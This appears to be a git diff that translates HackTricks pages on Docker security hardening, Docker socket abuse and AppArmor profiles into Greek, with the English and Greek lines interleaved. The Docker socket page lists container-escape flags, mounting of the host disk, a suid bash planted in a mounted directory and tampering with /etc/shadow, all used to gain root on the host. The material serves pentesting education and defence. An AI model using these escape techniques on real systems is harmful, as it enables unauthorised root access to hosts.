In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise.
Σε περιβάλλοντα Kubernetes, τα μυστικά υποστηρίζονται εγγενώς και μπορούν να διαχειριστούν περαιτέρω με εργαλεία όπως το [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Οι Ρόλοι Βασισμένοι σε Ελέγχους Πρόσβασης (RBAC) του Kubernetes ενισχύουν την ασφάλεια διαχείρισης μυστικών, παρόμοια με το Docker Enterprise.
### gVisor
**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers.
**gVisor** είναι ένας πυρήνας εφαρμογής, γραμμένος σε Go, που υλοποιεί ένα σημαντικό μέρος της επιφάνειας του συστήματος Linux. Περιλαμβάνει ένα [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime που ονομάζεται `runsc` και παρέχει ένα **όριο απομόνωσης μεταξύ της εφαρμογής και του πυρήνα του host**. Το runtime `runsc` ενσωματώνεται με το Docker και το Kubernetes, διευκολύνοντας την εκτέλεση sandboxed containers.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense.
**Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για την κατασκευή ενός ασφαλούς runtime κοντέινερ με ελαφριές εικονικές μηχανές που αισθάνονται και αποδίδουν όπως τα κοντέινερ, αλλά παρέχουν **ισχυρότερη απομόνωση φόρτου εργασίας χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερη γραμμή άμυνας.
{% embed url="https://katacontainers.io/" %}
### Summary Tips
### Συμβουλές Περίληψης
- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads dont need any capabilities and adding them increases the scope of a potential attack.
- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks.
- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required.
- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Dont inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP.
- **Regularly** **rebuild** your images to **apply security patches to the host an images.**
- Manage your **secrets wisely** so it's difficult to the attacker to access them.
- If you **exposes the docker daemon use HTTPS** with client & server authentication.
- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesnt have these capabilities. Whenever possible, avoid using ADD so you arent susceptible to attacks through remote URLs and Zip files.
- Have **separate containers for each micro-s**ervice
- **Dont put ssh** inside container, “docker exec” can be used to ssh to Container.
- Have **smaller** container **images**
- **Μην χρησιμοποιείτε τη σημαία `--privileged` ή να τοποθετείτε ένα** [**Docker socket μέσα στο κοντέινερ**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία κοντέινερ, οπότε είναι ένας εύκολος τρόπος να αποκτήσετε πλήρη έλεγχο του host, για παράδειγμα, εκτελώντας ένα άλλο κοντέινερ με τη σημαία `--privileged`.
- **Μην εκτελείτε ως root μέσα στο κοντέινερ. Χρησιμοποιήστε έναν** [**διαφορετικό χρήστη**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **και** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** Ο root στο κοντέινερ είναι ο ίδιος με αυτόν στον host εκτός αν ανακατανεμηθεί με user namespaces. Είναι μόνο ελαφρώς περιορισμένος από, κυρίως, Linux namespaces, δυνατότητες και cgroups.
- [**Αφαιρέστε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλές από τις φόρτους εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει την έκταση μιας πιθανής επίθεσης.
- [**Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να αποτρέψετε τις διαδικασίες από το να αποκτούν περισσότερες δυνατότητες, για παράδειγμα μέσω suid binaries.
- [**Περιορίστε τους πόρους που είναι διαθέσιμοι στο κοντέινερ**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Οι περιορισμοί πόρων μπορούν να προστατεύσουν τη μηχανή από επιθέσεις άρνησης υπηρεσίας.
- **Ρυθμίστε** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ή SELinux)** προφίλ για να περιορίσετε τις ενέργειες και τις syscalls που είναι διαθέσιμες για το κοντέινερ στο ελάχιστο που απαιτείται.
- **Χρησιμοποιήστε** [**επίσημες εικόνες docker**](https://docs.docker.com/docker-hub/official_images/) **και απαιτήστε υπογραφές** ή κατασκευάστε τις δικές σας βασισμένες σε αυτές. Μην κληρονομείτε ή χρησιμοποιείτε [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) εικόνες. Αποθηκεύστε επίσης τα κλειδιά root, τη φράση πρόσβασης σε ασφαλές μέρος. Το Docker έχει σχέδια να διαχειρίζεται τα κλειδιά με το UCP.
- **Ανακατασκευάστε τακτικά** τις εικόνες σας για να **εφαρμόσετε ενημερώσεις ασφαλείας στον host και τις εικόνες.**
- Διαχειριστείτε τα **μυστικά σας σοφά** ώστε να είναι δύσκολο για τον επιτιθέμενο να τα αποκτήσει.
- Εάν **εκθέτετε τον docker daemon χρησιμοποιήστε HTTPS** με πιστοποίηση πελάτη και διακομιστή.
- Στο Dockerfile σας, **προτιμήστε το COPY αντί για το ADD**. Το ADD εξάγει αυτόματα αρχεία zip και μπορεί να αντιγράψει αρχεία από URLs. Το COPY δεν έχει αυτές τις δυνατότητες. Όποτε είναι δυνατόν, αποφύγετε τη χρήση του ADD ώστε να μην είστε ευάλωτοι σε επιθέσεις μέσω απομακρυσμένων URLs και αρχείων Zip.
- Έχετε **χωριστά κοντέινερ για κάθε μικρο-υπηρεσία**
- **Μην βάζετε ssh** μέσα στο κοντέινερ, το “docker exec” μπορεί να χρησιμοποιηθεί για ssh στο Κοντέινερ.
- Έχετε **μικρότερες** εικόνες κοντέινερ
## Docker Breakout / Privilege Escalation
If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**:
Εάν είστε **μέσα σε ένα κοντέινερ docker** ή έχετε πρόσβαση σε έναν χρήστη στην **ομάδα docker**, μπορείτε να προσπαθήσετε να **διαφύγετε και να κλιμακώσετε τα προνόμια**:
{{#ref}}
docker-breakout-privilege-escalation/
@ -394,7 +346,7 @@ docker-breakout-privilege-escalation/
## Docker Authentication Plugin Bypass
If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:**
Εάν έχετε πρόσβαση στο docker socket ή έχετε πρόσβαση σε έναν χρήστη στην **ομάδα docker αλλά οι ενέργειές σας περιορίζονται από ένα docker auth plugin**, ελέγξτε αν μπορείτε να **παρακάμψετε αυτό:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@ -402,10 +354,10 @@ authz-and-authn-docker-access-authorization-plugin.md
## Hardening Docker
- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
- Το εργαλείο [**docker-bench-security**](https://github.com/docker/docker-bench-security) είναι ένα σενάριο που ελέγχει δεκάδες κοινές βέλτιστες πρακτικές γύρω από την ανάπτυξη κοντέινερ Docker σε παραγωγή. Οι δοκιμές είναι όλες αυτοματοποιημένες και βασίζονται στο [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Πρέπει να εκτελέσετε το εργαλείο από τον host που εκτελεί το docker ή από ένα κοντέινερ με αρκετά προνόμια. Βρείτε **πώς να το εκτελέσετε στο README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## References
## Αναφορές
- [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
@ -421,12 +373,5 @@ authz-and-authn-docker-access-authorization-plugin.md
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,43 +1,43 @@
# Abusing Docker Socket for Privilege Escalation
# Κατάχρηση του Docker Socket για Escalation Privileges
{{#include ../../../banners/hacktricks-training.md}}
There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges:
Υπάρχουν περιπτώσεις όπου έχετε **πρόσβαση στο docker socket** και θέλετε να το χρησιμοποιήσετε για να **ανεβάσετε δικαιώματα**. Ορισμένες ενέργειες μπορεί να είναι πολύ ύποπτες και ίσως θελήσετε να τις αποφύγετε, οπότε εδώ μπορείτε να βρείτε διάφορες σημαίες που μπορεί να είναι χρήσιμες για την ανύψωση δικαιωμάτων:
### Via mount
### Μέσω mount
You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\
You could also **abuse a mount to escalate privileges** inside the container.
Μπορείτε να **mount** διάφορα μέρη του **filesystem** σε ένα κοντέινερ που τρέχει ως root και να τα **πρόσβαση**.\
Μπορείτε επίσης να **καταχραστείτε ένα mount για να ανεβάσετε δικαιώματα** μέσα στο κοντέινερ.
- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.**
- If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt`
- Run `fdisk -l` in the host to find the `</dev/sda1>` device to mount
- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**.
- **`-v /:/host`** -> Mount το filesystem του host στο κοντέινερ ώστε να μπορείτε να **διαβάσετε το filesystem του host.**
- Αν θέλετε να **νιώσετε ότι είστε στον host** αλλά να είστε στο κοντέινερ, μπορείτε να απενεργοποιήσετε άλλους μηχανισμούς άμυνας χρησιμοποιώντας σημαίες όπως:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Αυτό είναι παρόμοιο με την προηγούμενη μέθοδο, αλλά εδώ **mount το δίσκο της συσκευής**. Στη συνέχεια, μέσα στο κοντέινερ τρέξτε `mount /dev/sda1 /mnt` και μπορείτε να **πρόσβαση** στο **filesystem του host** στο `/mnt`
- Τρέξτε `fdisk -l` στον host για να βρείτε τη συσκευή `</dev/sda1>` για να την mount
- **`-v /tmp:/host`** -> Αν για κάποιο λόγο μπορείτε **μόνο να mount κάποια κατάλογο** από τον host και έχετε πρόσβαση μέσα στον host. Mount το και δημιουργήστε ένα **`/bin/bash`** με **suid** στον mounted κατάλογο ώστε να μπορείτε να **το εκτελέσετε από τον host και να ανεβάσετε σε root**.
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> Σημειώστε ότι ίσως δεν μπορείτε να mount τον φάκελο `/tmp` αλλά μπορείτε να mount έναν **διαφορετικό εγγράψιμο φάκελο**. Μπορείτε να βρείτε εγγράψιμους καταλόγους χρησιμοποιώντας: `find / -writable -type d 2>/dev/null`
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **Σημειώστε ότι δεν υποστηρίζουν όλοι οι κατάλογοι σε μια μηχανή linux το suid bit!** Για να ελέγξετε ποιες καταλόγους υποστηρίζουν το suid bit, τρέξτε `mount | grep -v "nosuid"` Για παράδειγμα, συνήθως οι `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` και `/var/lib/lxcfs` δεν υποστηρίζουν το suid bit.
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> Σημειώστε επίσης ότι αν μπορείτε να **mount `/etc`** ή οποιονδήποτε άλλο φάκελο **που περιέχει αρχεία ρυθμίσεων**, μπορείτε να τα αλλάξετε από το docker κοντέινερ ως root προκειμένου να **τα καταχραστείτε στον host** και να ανεβάσετε δικαιώματα (ίσως τροποποιώντας το `/etc/shadow`)
### Escaping from the container
### Διαφυγή από το κοντέινερ
- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work.
- **`--privileged`** -> Με αυτή τη σημαία [αφαιρείτε όλη την απομόνωση από το κοντέινερ](docker-privileged.md#what-affects). Ελέγξτε τεχνικές για [να διαφύγετε από κοντέινερ με δικαιώματα root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Για [να ανεβάσετε καταχρώντας ικανότητες](../linux-capabilities.md), **δώστε αυτή την ικανότητα στο κοντέινερ** και απενεργοποιήστε άλλες μεθόδους προστασίας που μπορεί να εμποδίσουν την εκμετάλλευση να λειτουργήσει.
### Curl
In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page:
Σε αυτή τη σελίδα έχουμε συζητήσει τρόπους για να ανεβάσετε δικαιώματα χρησιμοποιώντας σημαίες docker, μπορείτε να βρείτε **τρόπους να καταχραστείτε αυτές τις μεθόδους χρησιμοποιώντας την εντολή curl** στη σελίδα:
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,29 +4,28 @@
## Basic Information
AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions.
Το AppArmor είναι μια **βελτίωση του πυρήνα που έχει σχεδιαστεί για να περιορίζει τους πόρους που είναι διαθέσιμοι σε προγράμματα μέσω προφίλ ανά πρόγραμμα**, εφαρμόζοντας αποτελεσματικά τον Υποχρεωτικό Έλεγχο Πρόσβασης (MAC) συνδέοντας τα χαρακτηριστικά ελέγχου πρόσβασης απευθείας σε προγράμματα αντί για χρήστες. Αυτό το σύστημα λειτουργεί με **φόρτωση προφίλ στον πυρήνα**, συνήθως κατά την εκκίνηση, και αυτά τα προφίλ καθορίζουν ποιους πόρους μπορεί να έχει πρόσβαση ένα πρόγραμμα, όπως συνδέσεις δικτύου, πρόσβαση σε ακατέργαστους υποδοχείς και άδειες αρχείων.
There are two operational modes for AppArmor profiles:
Υπάρχουν δύο λειτουργικά modes για τα προφίλ του AppArmor:
- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd.
- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions.
- **Enforcement Mode**: Αυτό το mode επιβάλλει ενεργά τις πολιτικές που ορίζονται μέσα στο προφίλ, αποκλείοντας ενέργειες που παραβιάζουν αυτές τις πολιτικές και καταγράφοντας οποιαδήποτε προσπάθεια παραβίασης τους μέσω συστημάτων όπως το syslog ή το auditd.
- **Complain Mode**: Σε αντίθεση με το enforcement mode, το complain mode δεν αποκλείει ενέργειες που αντιβαίνουν στις πολιτικές του προφίλ. Αντίθετα, καταγράφει αυτές τις προσπάθειες ως παραβιάσεις πολιτικής χωρίς να επιβάλλει περιορισμούς.
### Components of AppArmor
- **Kernel Module**: Responsible for the enforcement of policies.
- **Policies**: Specify the rules and restrictions for program behavior and resource access.
- **Parser**: Loads policies into the kernel for enforcement or reporting.
- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor.
- **Kernel Module**: Υπεύθυνο για την επιβολή πολιτικών.
- **Policies**: Καθορίζουν τους κανόνες και τους περιορισμούς για τη συμπεριφορά του προγράμματος και την πρόσβαση στους πόρους.
- **Parser**: Φορτώνει πολιτικές στον πυρήνα για επιβολή ή αναφορά.
- **Utilities**: Αυτά είναι προγράμματα σε λειτουργία χρήστη που παρέχουν μια διεπαφή για αλληλεπίδραση και διαχείριση του AppArmor.
### Profiles path
Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\
With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder.
Τα προφίλ του AppArmor αποθηκεύονται συνήθως στο _**/etc/apparmor.d/**_\
Με το `sudo aa-status` θα μπορείτε να καταγράψετε τα δυαδικά αρχεία που περιορίζονται από κάποιο προφίλ. Αν αλλάξετε το χαρακτήρα "/" με μια τελεία στο μονοπάτι κάθε καταγεγραμμένου δυαδικού αρχείου, θα αποκτήσετε το όνομα του προφίλ του AppArmor μέσα στον αναφερόμενο φάκελο.
For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_
Για παράδειγμα, ένα **apparmor** προφίλ για _/usr/bin/man_ θα βρίσκεται στο _/etc/apparmor.d/usr.bin.man_
### Commands
```bash
aa-status #check the current status
aa-enforce #set profile to enforce mode (from disable or complain)
@ -36,47 +35,41 @@ aa-genprof #generate a new profile
aa-logprof #used to change the policy when the binary/program is changed
aa-mergeprof #used to merge the policies
```
## Δημιουργία προφίλ
## Creating a profile
- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files.
- To indicate the access the binary will have over **files** the following **access controls** can be used:
- **r** (read)
- **w** (write)
- **m** (memory map as executable)
- **k** (file locking)
- **l** (creation hard links)
- **ix** (to execute another program with the new program inheriting policy)
- **Px** (execute under another profile, after cleaning the environment)
- **Cx** (execute under a child profile, after cleaning the environment)
- **Ux** (execute unconfined, after cleaning the environment)
- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \<tunables/global> to the profile file)
- **Deny rules are supported to override allow rules**.
- Για να υποδείξετε το επηρεαζόμενο εκτελέσιμο, επιτρέπονται **απόλυτες διαδρομές και wildcard** για τον καθορισμό αρχείων.
- Για να υποδείξετε την πρόσβαση που θα έχει το δυαδικό αρχείο σε **αρχεία**, μπορούν να χρησιμοποιηθούν οι εξής **έλεγχοι πρόσβασης**:
- **r** (ανάγνωση)
- **w** (εγγραφή)
- **m** (χάρτης μνήμης ως εκτελέσιμο)
- **k** (κλείδωμα αρχείων)
- **l** (δημιουργία σκληρών συνδέσμων)
- **ix** (για να εκτελέσετε ένα άλλο πρόγραμμα με την πολιτική του νέου προγράμματος να κληρονομείται)
- **Px** (εκτέλεση υπό άλλο προφίλ, μετά τον καθαρισμό του περιβάλλοντος)
- **Cx** (εκτέλεση υπό ένα παιδικό προφίλ, μετά τον καθαρισμό του περιβάλλοντος)
- **Ux** (εκτέλεση χωρίς περιορισμούς, μετά τον καθαρισμό του περιβάλλοντος)
- **Μεταβλητές** μπορούν να οριστούν στα προφίλ και μπορούν να χειριστούν από έξω από το προφίλ. Για παράδειγμα: @{PROC} και @{HOME} (προσθέστε #include \<tunables/global> στο αρχείο προφίλ)
- **Οι κανόνες άρνησης υποστηρίζονται για να παρακάμψουν τους κανόνες επιτρεπόμενης πρόσβασης**.
### aa-genprof
To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\
You just need to run:
Για να ξεκινήσετε εύκολα τη δημιουργία ενός προφίλ, το apparmor μπορεί να σας βοηθήσει. Είναι δυνατόν να **επιτρέψετε στο apparmor να ελέγξει τις ενέργειες που εκτελεί ένα δυαδικό αρχείο και στη συνέχεια να σας αφήσει να αποφασίσετε ποιες ενέργειες θέλετε να επιτρέψετε ή να αρνηθείτε**.\
Απλώς χρειάζεται να εκτελέσετε:
```bash
sudo aa-genprof /path/to/binary
```
Then, in a different console perform all the actions that the binary will usually perform:
Στη συνέχεια, σε μια διαφορετική κονσόλα εκτελέστε όλες τις ενέργειες που θα εκτελεί συνήθως το δυαδικό αρχείο:
```bash
/path/to/binary -a dosomething
```
Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_
Στη συνέχεια, στην πρώτη κονσόλα πατήστε "**s**" και στη συνέχεια στις καταγεγραμμένες ενέργειες υποδείξτε αν θέλετε να αγνοήσετε, να επιτρέψετε ή οτιδήποτε άλλο. Όταν τελειώσετε πατήστε "**f**" και το νέο προφίλ θα δημιουργηθεί στο _/etc/apparmor.d/path.to.binary_
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
> Χρησιμοποιώντας τα πλήκτρα βέλους μπορείτε να επιλέξετε τι θέλετε να επιτρέψετε/αρνηθείτε/οτιδήποτε άλλο
### aa-easyprof
You can also create a template of an apparmor profile of a binary with:
Μπορείτε επίσης να δημιουργήσετε ένα πρότυπο ενός προφίλ apparmor ενός δυαδικού με:
```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary
# No template variables specified
"/path/to/binary" {
#include <abstractions/base>
#include <abstractions/base>
# No abstractions specified
# No abstractions specified
# No policy groups specified
# No policy groups specified
# No read paths specified
# No read paths specified
# No write paths specified
# No write paths specified
}
```
> [!NOTE]
> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example.
You can then **enforce** the new profile with
> Σημειώστε ότι από προεπιλογή σε ένα δημιουργημένο προφίλ δεν επιτρέπεται τίποτα, οπότε όλα απορρίπτονται. Θα χρειαστεί να προσθέσετε γραμμές όπως `/etc/passwd r,` για να επιτρέψετε την ανάγνωση του δυαδικού αρχείου `/etc/passwd`, για παράδειγμα.
Μπορείτε στη συνέχεια να **επιβάλετε** το νέο προφίλ με
```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### Τροποποίηση ενός προφίλ από τα αρχεία καταγραφής
### Modifying a profile from logs
The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions:
Το παρακάτω εργαλείο θα διαβάσει τα αρχεία καταγραφής και θα ρωτήσει τον χρήστη αν θέλει να επιτρέψει ορισμένες από τις ανιχνευθείσες απαγορευμένες ενέργειες:
```bash
sudo aa-logprof
```
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
### Managing a Profile
> Χρησιμοποιώντας τα πλήκτρα βέλους μπορείτε να επιλέξετε τι θέλετε να επιτρέψετε/αρνηθείτε/οτιδήποτε
### Διαχείριση ενός Προφίλ
```bash
#Main profile management commands
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Logs
Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**:
Παράδειγμα **AUDIT** και **DENIED** logs από το _/var/log/audit/audit.log_ του εκτελέσιμου **`service_bin`**:
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
You can also get this information using:
Μπορείτε επίσης να αποκτήσετε αυτές τις πληροφορίες χρησιμοποιώντας:
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Apparmor in Docker
Note how the profile **docker-profile** of docker is loaded by default:
Σημειώστε πώς το προφίλ **docker-profile** του docker φορτώνεται από προεπιλογή:
```bash
sudo aa-status
apparmor module is loaded.
50 profiles are loaded.
13 profiles are in enforce mode.
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
```
Από προεπιλογή, το **προφίλ docker-default του Apparmor** δημιουργείται από [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
**Περίληψη προφίλ docker-default**:
**docker-default profile Summary**:
- **Access** to all **networking**
- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \<abstractions/base> )
- **Writing** to any **/proc** file is **not allowed**
- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access
- **Mount** is **not allowed**
- **Ptrace** can only be run on a process that is confined by **same apparmor profile**
Once you **run a docker container** you should see the following output:
- **Πρόσβαση** σε όλο το **δικτύωμα**
- **Καμία ικανότητα** δεν έχει οριστεί (Ωστόσο, κάποιες ικανότητες θα προέρχονται από την συμπερίληψη βασικών κανόνων, δηλαδή #include \<abstractions/base>)
- **Εγγραφή** σε οποιοδήποτε **/proc** αρχείο **δεν επιτρέπεται**
